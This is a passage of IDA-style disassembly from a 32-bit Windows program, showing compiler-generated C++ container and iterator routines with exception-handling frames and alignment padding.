		mov	dword ptr [esp+18h], 0
		call	sub_4017EE
		test	eax, eax
		jz	loc_414CC7
		lea	ecx, [esp+4]
		mov	dword ptr [esp+8], 0
		call	sub_401037
		add	esi, 60h
		lea	eax, [esp+0Ch]
		push	eax
		mov	ecx, esi
		call	sub_401992
		mov	ecx, [eax]
		lea	edx, [esp+0Ch]
		mov	[esp+4], ecx
		push	edx
		mov	ecx, esi
		call	sub_402257
		push	eax
		lea	ecx, [esp+8]
		call	sub_401AEB
		test	al, al
		jz	short loc_414C7F


loc_414C34:				; CODE XREF: ___:00414C7Dj
		lea	eax, [esp+20h]
		lea	ecx, [esp+4]
		push	eax
		call	sub_4011D1
		mov	ecx, [eax]
		call	sub_401B86
		test	eax, eax
		jnz	short loc_414C5C
		lea	ecx, [esp+4]
		call	sub_4011D1
		mov	ecx, [eax]
		mov	[esp+8], ecx


loc_414C5C:				; CODE XREF: ___:00414C4Bj
		lea	ecx, [esp+4]
		call	sub_4018C5
		lea	edx, [esp+0Ch]
		mov	ecx, esi
		push	edx
		call	sub_402257
		push	eax
		lea	ecx, [esp+8]
		call	sub_401AEB
		test	al, al
		jnz	short loc_414C34


loc_414C7F:				; CODE XREF: ___:00414C32j
		mov	eax, [esp+8]
		test	eax, eax
		jz	short loc_414CC7
		lea	eax, [esp+8]
		mov	ecx, esi
		push	eax
		call	sub_401154
		mov	ecx, [esp+8]
		test	ecx, ecx
		jz	short loc_414CA2
		push	1
		call	sub_4011C7
; ---------------------------------------------------------------------------


loc_414CA2:				; CODE XREF: ___:00414C99j
		lea	ecx, [esp+20h]
		mov	dword ptr [esp+18h], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		pop	esi
		mov	ecx, [esp+0Ch]
		mov	large fs:0, ecx
		add	esp, 18h
		retn	18h
; ---------------------------------------------------------------------------


loc_414CC7:				; CODE XREF: ___:00414BEEj
					; ___:00414C85j
		lea	ecx, [esp+20h]
		mov	dword ptr [esp+18h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+10h]
		xor	al, al
		pop	esi
		mov	large fs:0, ecx
		add	esp, 18h
		retn	18h
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_414D40	proc near		; CODE XREF: sub_4011C7j
		push	esi
		mov	esi, ecx
		call	sub_401B59
sub_414D40	endp

; ---------------------------------------------------------------------------
		test	byte ptr [esp+8], 1
		jz	short loc_414D58
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_414D58:				; CODE XREF: ___:00414D4Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_414D70	proc near		; CODE XREF: sub_401B59j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_414D70
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+54h]
		mov	[esp+14h+var_4], 3
		call	sub_401582
sub_414D70	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+10h], 2
		call	sub_401226
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+10h], 1
		call	sub_401226
		lea	ecx, [esi+15h]
		mov	byte ptr [esp+10h], 0
		call	sub_401226
		mov	ecx, esi
		mov	dword ptr [esp+10h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414E10	proc near		; CODE XREF: sub_4014C9j

var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_414E10
		push	eax
		mov	large fs:0, esp
		sub	esp, 40h
		push	ebx
		push	esi
		mov	esi, [esp+54h+arg_0]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+32h]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_414F0B
		sub	esp, 18h
		lea	eax, [esi+15h]
		mov	ecx, esp
		mov	[esp+70h+arg_0], esp
		push	eax
		call	sub_4014D3
		sub	esp, 18h
		mov	[esp+88h+var_4], 0
		mov	ecx, esp
		mov	[esp+88h+var_4C], esp
		push	offset byte_448F30
		call	sub_401870
		or	ebx, 0FFFFFFFFh
		mov	ecx, offset word_44AC5E
		mov	[esp+88h+var_4], ebx
		call	sub_40212B
		test	al, al
		jz	loc_415040
		push	0
		push	5
		push	19h
		push	2
		push	4
		push	0Fh
		push	0Fh
		lea	ecx, [esp+74h+var_3C]
		push	21h
		push	ecx
		call	sub_4019C4
		add	esp, 24h
		mov	edi, eax
		lea	ecx, [esi+69h]
		mov	[esp+58h+var_4], 1
		call	sub_4014DD
		push	eax
		mov	ecx, edi
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	ecx, [esp+58h+var_3C]
		mov	[esp+58h+var_4], ebx
		call	sub_401226
		mov	al, 1
		mov	ecx, [esp+58h+var_C]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 4Ch
		retn	4
; ---------------------------------------------------------------------------


loc_414F0B:				; CODE XREF: sub_414E10+36j
		lea	ecx, [edi+4]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_415040
		sub	esp, 18h
		lea	edx, [esi+54h]
		mov	ecx, esp
		mov	[esp+70h+arg_0], esp
		push	edx
		call	sub_4014D3
		sub	esp, 18h
		lea	eax, [esi+3Fh]
		mov	ecx, esp
		mov	[esp+88h+var_4C], esp
		push	eax
		mov	[esp+8Ch+var_4], 2
		call	sub_4014D3
		sub	esp, 18h
		lea	edx, [esi+15h]
		mov	ecx, esp
		mov	[esp+0A0h+var_48], esp
		push	edx
		mov	byte ptr [esp+0A4h+var_4], 3
		call	sub_4014D3
		sub	esp, 18h
		mov	ecx, esi
		mov	eax, esp
		mov	[esp+0B8h+var_44], esp
		push	1
		push	offset asc_444600 ; " "
		push	2
		push	eax
		mov	byte ptr [esp+0C8h+var_4], 4
		call	sub_4011EA
		sub	esp, 18h
		mov	byte ptr [esp+0D0h+var_4], 5
		mov	ecx, esp
		mov	[esp+0D0h+var_40], esp
		push	1
		push	offset asc_444600 ; " "
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4011EA
		or	ebx, 0FFFFFFFFh
		mov	ecx, offset word_44AC5E
		mov	[esp+0D0h+var_4], ebx
		call	sub_4018AC
		test	al, al
		jz	short loc_415040
		push	0
		push	4
		push	5
		push	14h
		push	10h
		push	5
		push	3
		push	3
		lea	edx, [esp+78h+var_24]
		push	1Bh
		push	edx
		call	sub_4019C4
		add	esp, 28h
		mov	edi, eax
		lea	ecx, [esi+69h]
		mov	[esp+58h+var_4], 6
		call	sub_4014DD
		push	eax
		mov	ecx, edi
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	ecx, [esp+58h+var_24]
		mov	[esp+58h+var_4], ebx
		call	sub_401226
		mov	al, 1
		mov	ecx, [esp+58h+var_C]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 4Ch
		retn	4
; ---------------------------------------------------------------------------


loc_415040:				; CODE XREF: sub_414E10+82j
					; sub_414E10+10Dj ...
		mov	ecx, [esp+58h+var_C]
		pop	edi
		pop	esi
		xor	al, al
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 4Ch
		retn	4
sub_414E10	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415100	proc near		; CODE XREF: sub_40132Aj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_401ED8
sub_415100	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415140	proc near		; CODE XREF: sub_401726j

arg_0		= dword	ptr  4

		sub	esp, 8
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		mov	esi, ecx
		push	0
		push	0
		mov	al, [edi]
		mov	[esi], al
		call	sub_401ED8
sub_415140	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esi+4], eax
		push	ecx
		mov	ecx, edi
		mov	dword ptr [esi+8], 0
		call	sub_4016D6
		mov	edx, [eax]
		lea	eax, [esp+8]
		push	edx
		push	eax
		mov	ecx, edi
		call	sub_40113B
		mov	ecx, [eax]
		lea	edx, [esp+10h]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4012E9
		mov	eax, [eax]
		mov	ecx, esi
		push	eax
		call	sub_401735
		mov	eax, esi
		pop	edi
		pop	esi
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4151C0	proc near		; CODE XREF: sub_401582j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401D9D
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4012E9
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40146F
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_401CE9
sub_4151C0	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415230	proc near		; CODE XREF: sub_4012E9j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		push	eax
		call	sub_4020A9
		mov	ecx, [eax]
		add	esp, 4
		push	ecx
		lea	ecx, [esp+8+var_4]
		call	sub_401DBB
		mov	edx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], edx
		pop	ecx
		retn	4
sub_415230	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415270	proc near		; CODE XREF: sub_401D9Dj

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		lea	ecx, [esp+4+var_4]
		push	eax
		call	sub_401DBB
		mov	ecx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], ecx
		pop	ecx
		retn	4
sub_415270	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4152A0	proc near		; CODE XREF: sub_401488j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_401D9D
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_40217B
sub_4152A0	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4152E0	proc near		; CODE XREF: sub_401258j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_4]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401D9D
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_4]
		mov	[esp+10h+var_8], ecx
		push	edx
		mov	ecx, esi
		call	sub_4012E9
		mov	eax, [eax]
		lea	ecx, [esp+10h+var_8]
		push	ecx
		lea	ecx, [esp+14h+var_C]
		mov	[esp+14h+var_C], eax
		call	sub_401D70
		test	al, al
		jz	short loc_41536D
		push	edi
		mov	edi, [esp+14h+arg_0]


loc_41531F:				; CODE XREF: sub_4152E0+8Aj
		lea	ecx, [esp+14h+var_C]
		call	sub_401FC3
		mov	edx, [eax]
		mov	eax, [edi]
		cmp	edx, eax
		jnz	short loc_415351
		lea	eax, [esp+14h+arg_0]
		push	0
		push	eax
		lea	ecx, [esp+1Ch+var_C]
		call	sub_401578
		mov	ecx, [eax]
		lea	edx, [esp+14h+var_4]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401FCD
; ---------------------------------------------------------------------------
		jmp	short loc_41535A
; ---------------------------------------------------------------------------


loc_415351:				; CODE XREF: sub_4152E0+4Ej
		lea	ecx, [esp+14h+var_C]
		call	sub_4020C2


loc_41535A:				; CODE XREF: sub_4152E0+6Fj
		lea	eax, [esp+14h+var_8]
		lea	ecx, [esp+14h+var_C]
		push	eax
		call	sub_401D70
		test	al, al
		jnz	short loc_41531F
		pop	edi


loc_41536D:				; CODE XREF: sub_4152E0+38j
		pop	esi
		add	esp, 0Ch
		retn	4
sub_4152E0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4153B0	proc near		; CODE XREF: sub_401E38j
		push	esi
		mov	esi, ecx
		call	sub_401ED3
		mov	eax, esi
		pop	esi
		retn
sub_4153B0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4153D0	proc near		; CODE XREF: sub_401FC3j
		mov	eax, [ecx]
		push	eax
		call	sub_401F19
		add	esp, 4
		retn
sub_4153D0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4153F0	proc near		; CODE XREF: sub_4020C2j
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_4020A9
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_4153F0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415420	proc near		; CODE XREF: sub_401D70j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_4015D7
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_415420	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415450	proc near		; CODE XREF: sub_401F23j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_401C8F
sub_415450	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415490	proc near		; CODE XREF: sub_4011B8j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_402257
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401992
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40132F
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_401E33
sub_415490	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415500	proc near		; CODE XREF: sub_401992j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		push	eax
		call	sub_401249
		mov	ecx, [eax]
		add	esp, 4
		push	ecx
		lea	ecx, [esp+8+var_4]
		call	sub_401CDA
		mov	edx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], edx
		pop	ecx
		retn	4
sub_415500	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415540	proc near		; CODE XREF: sub_402257j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		lea	ecx, [esp+4+var_4]
		push	eax
		call	sub_401CDA
		mov	ecx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], ecx
		pop	ecx
		retn	4
sub_415540	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415570	proc near		; CODE XREF: sub_401F0Fj

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_402257
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401AAA
sub_415570	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4155B0	proc near		; CODE XREF: sub_401933j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_402257
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401992
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40132F
		pop	esi
		add	esp, 0Ch
		retn
sub_4155B0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415600	proc near		; CODE XREF: sub_401154j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_4]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_402257
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_4]
		mov	[esp+10h+var_8], ecx
		push	edx
		mov	ecx, esi
		call	sub_401992
		mov	eax, [eax]
		lea	ecx, [esp+10h+var_8]
		push	ecx
		lea	ecx, [esp+14h+var_C]
		mov	[esp+14h+var_C], eax
		call	sub_401AEB
		test	al, al
		jz	short loc_41568D
		push	edi
		mov	edi, [esp+14h+arg_0]


loc_41563F:				; CODE XREF: sub_415600+8Aj
		lea	ecx, [esp+14h+var_C]
		call	sub_4011D1
		mov	edx, [eax]
		mov	eax, [edi]
		cmp	edx, eax
		jnz	short loc_415671
		lea	eax, [esp+14h+arg_0]
		push	0
		push	eax
		lea	ecx, [esp+1Ch+var_C]
		call	sub_4010DC
		mov	ecx, [eax]
		lea	edx, [esp+14h+var_4]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4017E9
; ---------------------------------------------------------------------------
		jmp	short loc_41567A
; ---------------------------------------------------------------------------


loc_415671:				; CODE XREF: sub_415600+4Ej
		lea	ecx, [esp+14h+var_C]
		call	sub_4018C5


loc_41567A:				; CODE XREF: sub_415600+6Fj
		lea	eax, [esp+14h+var_8]
		lea	ecx, [esp+14h+var_C]
		push	eax
		call	sub_401AEB
		test	al, al
		jnz	short loc_41563F
		pop	edi


loc_41568D:				; CODE XREF: sub_415600+38j
		pop	esi
		add	esp, 0Ch
		retn	4
sub_415600	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4156D0	proc near		; CODE XREF: sub_401037j
		push	esi
		mov	esi, ecx
		call	sub_401E97
		mov	eax, esi
		pop	esi
		retn
sub_4156D0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4156F0	proc near		; CODE XREF: sub_4011D1j
		mov	eax, [ecx]
		push	eax
		call	sub_402144
		add	esp, 4
		retn
sub_4156F0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415710	proc near		; CODE XREF: sub_4018C5j
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_401249
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_415710	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415740	proc near		; CODE XREF: sub_401AEBj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401EC4
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_415740	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415770	proc near		; CODE XREF: sub_401852j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_401DB6
sub_415770	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4157B0	proc near		; CODE XREF: sub_4014BFj

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40114A
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401901
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40140B
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_401F14
sub_4157B0	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415820	proc near		; CODE XREF: sub_401901j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		push	eax
		call	sub_401BCC
		mov	ecx, [eax]
		add	esp, 4
		push	ecx
		lea	ecx, [esp+8+var_4]
		call	sub_401D7A
		mov	edx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], edx
		pop	ecx
		retn	4
sub_415820	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415860	proc near		; CODE XREF: sub_40114Aj

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		lea	ecx, [esp+4+var_4]
		push	eax
		call	sub_401D7A
		mov	ecx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], ecx
		pop	ecx
		retn	4
sub_415860	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415890	proc near		; CODE XREF: sub_401410j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_40114A
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401D11
sub_415890	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4158D0	proc near		; CODE XREF: sub_401C76j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40114A
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401901
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40140B
		pop	esi
		add	esp, 0Ch
		retn
sub_4158D0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415920	proc near		; CODE XREF: sub_40214Ej

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_4]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40114A
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_4]
		mov	[esp+10h+var_8], ecx
		push	edx
		mov	ecx, esi
		call	sub_401901
		mov	eax, [eax]
		lea	ecx, [esp+10h+var_8]
		push	ecx
		lea	ecx, [esp+14h+var_C]
		mov	[esp+14h+var_C], eax
		call	sub_401339
		test	al, al
		jz	short loc_4159AD
		push	edi
		mov	edi, [esp+14h+arg_0]


loc_41595F:				; CODE XREF: sub_415920+8Aj
		lea	ecx, [esp+14h+var_C]
		call	sub_40135C
		mov	edx, [eax]
		mov	eax, [edi]
		cmp	edx, eax
		jnz	short loc_415991
		lea	eax, [esp+14h+arg_0]
		push	0
		push	eax
		lea	ecx, [esp+1Ch+var_C]
		call	sub_401EBF
		mov	ecx, [eax]
		lea	edx, [esp+14h+var_4]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401078
; ---------------------------------------------------------------------------
		jmp	short loc_41599A
; ---------------------------------------------------------------------------


loc_415991:				; CODE XREF: sub_415920+4Ej
		lea	ecx, [esp+14h+var_C]
		call	sub_40118B


loc_41599A:				; CODE XREF: sub_415920+6Fj
		lea	eax, [esp+14h+var_8]
		lea	ecx, [esp+14h+var_C]
		push	eax
		call	sub_401339
		test	al, al
		jnz	short loc_41595F
		pop	edi


loc_4159AD:				; CODE XREF: sub_415920+38j
		pop	esi
		add	esp, 0Ch
		retn	4
sub_415920	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4159F0	proc near		; CODE XREF: sub_402275j
		push	esi
		mov	esi, ecx
		call	sub_401E42
		mov	eax, esi
		pop	esi
		retn
sub_4159F0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415A10	proc near		; CODE XREF: sub_40135Cj
		mov	eax, [ecx]
		push	eax
		call	sub_4017E4
		add	esp, 4
		retn
sub_415A10	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415A30	proc near		; CODE XREF: sub_40118Bj
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_401BCC
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_415A30	endp

; ---------------------------------------------------------------------------
